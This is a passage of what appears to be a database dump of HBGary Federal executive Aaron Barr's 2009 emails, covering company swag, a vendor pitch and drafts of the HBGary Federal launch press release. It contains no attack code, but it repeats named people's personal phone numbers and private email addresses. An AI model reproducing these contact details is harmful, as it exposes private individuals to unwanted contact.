wrote:\r\nWhat about button shorts and polos?From my iPhoneOn Dec 4, 2009, at 6:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n I&#39;m not done with it yet.  I&#39;d like some better logos, but check this out:http://www.cafepress.com/HBGary\r\n Ted -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623   \r\n\r\n\r\n___\r\nTed Vera | COO | HBGary Federal, Inc.\r\nCell Phone 719-237-8623\r\nWebsite:  www.hbgary.com\r\nEmail:  ted@hbgary.com\r\n \r\n',7427,'aaron_hbgary_com/7427.html'),(424,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999810.M600522P3547Q424.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SWAG','They have polos, but I need to resize graphics . They don\'t have button-up shirts. &nbsp;I have a friend (Bob Agan\'s wife Carrie) that does custom embroidery. &nbsp;I\'ll call her to get pricing.TedOn Dec 4, 2009, at 4:18 PM, Aaron Barr wrote:Lol. &nbsp;It\'s cool.From my iPhoneOn Dec 4, 2009, at 6:16 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote: Give me a sec. &nbsp;Damn, ungrateful...TedOn Dec 4, 2009, at 4:15 PM, Aaron Barr wrote: What about button shorts and polos?From my iPhoneOn Dec 4, 2009, at 6:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:  I\'m not done with it yet. &nbsp;I\'d like some better logos, but check this out:http://www.cafepress.com/HBGary Ted -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623      ___ Ted Vera | COO | HBGary Federal, Inc. Cell Phone 719-237-8623 Website: &nbsp;www.hbgary.com Email: &nbsp;ted@hbgary.com   ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',10099,'aaron_hbgary_com/10099.html'),(425,'2009-12-04','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1296999810.M805860P3547Q425.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Hey There!','FYI --Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: December 4, 2009 4:30:41 PM MSTTo: Carrie Agans &lt;carrieagans@aol.com&gt;Cc: Bob Agans &lt;carrieagans@aol.com&gt;Subject: Hey There! Hi Carrie,I\'m not sure if Bob told you, but I left Northrop and joined HBGary a couple of weeks ago. &nbsp;I\'m looking to get some branded swag, so I used a cafe press store to get started: &nbsp;http://www.cafepress.com/hbgaryI\'d also like to get some nice embroidered ballcaps, polos, and button-up shirts with logos. &nbsp;Immediately I thought of you. &nbsp;Can you help?Ted ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',2880,'aaron_hbgary_com/2880.html'),(426,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999820.M841902P3547Q426.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Qosmos Network Intelligence','From my iPhoneBegin forwarded message:From: Aubrey MERCHANT DEST &lt;Aubrey.MERCHANTDEST@qosmos.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Subject: Qosmos Network Intelligence\r\nAaron,I would like to discuss our capability with you when you have time.  We believe we have a unique solution which can help in attribution.  Our Network Intelligence building block is already part of some activity at Carnegie Mellon University and the solution looks very promising.  I&#39;m not sure you&#39;ve heard of us before but given the opportunity I&#39;d like provide you a proper overview of our capability and business strategy.  I&#39;ve attached a couple documents for you to review.  Please let me know your level of interest and how we may be able to progress this discussion.  Thanks in advance.\r\nBest,Aubrey Merchant-DestSr. Consulting Engineer+1.301.528.8301 Office+1.301.351.4905 Cell\r\n+1.301.528.8302 FaxAubrey.Merchant@qosmos.com&lt;mailto:Aubrey.merchant@qosmos.com&gt;\r\n[cid:image001.gif@01CA7505.66E85970]\r\n',8034,'aaron_hbgary_com/8034.html'),(427,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999821.M378779P3547Q427.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,,','Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','You cam put either teds or my number for contact, or both?AaronFrom my iPhoneOn Dec 4, 2009, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi everyone, I just wanted to check back to see if you had a chance to review this final draft -- particularly the first paragraph. Thanks! Best, K\r\n--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement\r\nTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.comCc: greg@hbgary.com, bob@hbgary.com\r\nDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary Federal. Is there a phone number we can provide? \r\n\r\n \r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n\r\n \r\nThanks, Karen\r\n \r\n \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will  ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for\r\n successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n  \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n  \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.  Mr. Barr served tours in Misawa,\r\n Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n  \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf\r\n architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n  \r\n  \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com  \r\n  \r\n \r\n\r\n\r\n\r\n      \r\n',14786,'aaron_hbgary_com/14786.html'),(428,'2009-12-05','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999821.M571626P3547Q428.eml','\"Aaron Barr\" <aaron@hbgary.com>','Jason Christman, PMP, CISSP has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Jason are now connected.\r\n\r\n \r\n   \r\n   View Jason\'s profile to:\r\n     \r\n       Download Jason\'s current contact information\r\n       Write a recommendation for Jason\r\n       Find opportunities through Jason\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/41736209/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',7408,'aaron_hbgary_com/7408.html'),(429,'2009-12-05','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999821.M787664P3547Q429.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','Hi Aaron, Great --if you are both&nbsp;okay, I can provide both your phone numbers and email addresses.&nbsp;Please send me&nbsp;your numbers. Penny,&nbsp;are you okay with the release? If so, I\'ll put it out (with the headshots) on Monday morning. Thanks! Karen&nbsp;--- On Fri, 12/4/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"penny@hbgary.com\" &lt;penny@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;Date: Friday, December 4, 2009, 3:35 PM\r\n\r\nYou cam put either teds or my number for contact, or both?\r\n\r\nAaronFrom my iPhone\r\nOn Dec 4, 2009, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi everyone, I just wanted to check back to see if you had a chance to review this final draft --&nbsp;particularly the first paragraph. Thanks! Best, K--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.comCc: greg@hbgary.com, bob@hbgary.comDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary&nbsp;Federal. Is there a phone number we can provide?&nbsp;\r\n&nbsp;\r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n&nbsp;\r\nThanks, Karen\r\n&nbsp;\r\n&nbsp;\r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for\r\n successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa,\r\n Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf\r\n architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; \r\n&nbsp; \r\n&nbsp;\r\n\r\n',15048,'aaron_hbgary_com/15048.html'),(430,'2009-12-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999821.M984939P3547Q430.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','Should we ask Lawrence or Steve W to review? TedBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: December 5, 2009 9:07:51 AM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;\r\nSubject: Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement\r\nHi Aaron, Great --if you are both okay, I can provide both your phone numbers and email addresses. Please send me your numbers. Penny, are you okay with the release? If so, I&#39;ll put it out (with the headshots) on Monday morning. Thanks! Karen \r\n--- On Fri, 12/4/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Cc: &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;\r\nDate: Friday, December 4, 2009, 3:35 PM\r\n\r\nYou cam put either teds or my number for contact, or both?\r\n\r\nAaronFrom my iPhone\r\nOn Dec 4, 2009, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi everyone, I just wanted to check back to see if you had a chance to review this final draft -- particularly the first paragraph. Thanks! Best, K--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nSubject: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.com\r\nCc: greg@hbgary.com, bob@hbgary.com\r\nDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary Federal. Is there a phone number we can provide? \r\n\r\n \r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n\r\n \r\nThanks, Karen\r\n \r\n \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will  ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for\r\n successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n  \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n  \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.  Mr. Barr served tours in Misawa,\r\n Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n  \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf\r\n architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n  \r\n  \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com.\r\n \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com  \r\n  \r\n \r\n\r\n      \r\n',4723,'aaron_hbgary_com/4723.html'),(431,'2009-12-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999822.M202578P3547Q431.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,,','Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement',' \r\nGee, I wish you could pick a word better than &quot;spin off&quot; - I guess that was Penny&#39;s?  Sister company, partner company, ? spin off sounds like HBGary Federal was an afterthought just just blew off the wagon and is going to sail off into the distance.  Sorry just such a late feedback.\r\n\r\n \r\n-Greg\r\nOn Sat, Dec 5, 2009 at 8:07 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, Great --if you are both okay, I can provide both your phone numbers and email addresses. Please send me your numbers. Penny, are you okay with the release? If so, I&#39;ll put it out (with the headshots) on Monday morning. Thanks! Karen \r\n--- On Fri, 12/4/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Cc: &quot;penny@hbgary.com&quot; &lt;penny@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;\r\nDate: Friday, December 4, 2009, 3:35 PM \r\n\r\n\r\n\r\n\r\nYou cam put either teds or my number for contact, or both?\r\n\r\nAaronFrom my iPhone\r\nOn Dec 4, 2009, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; 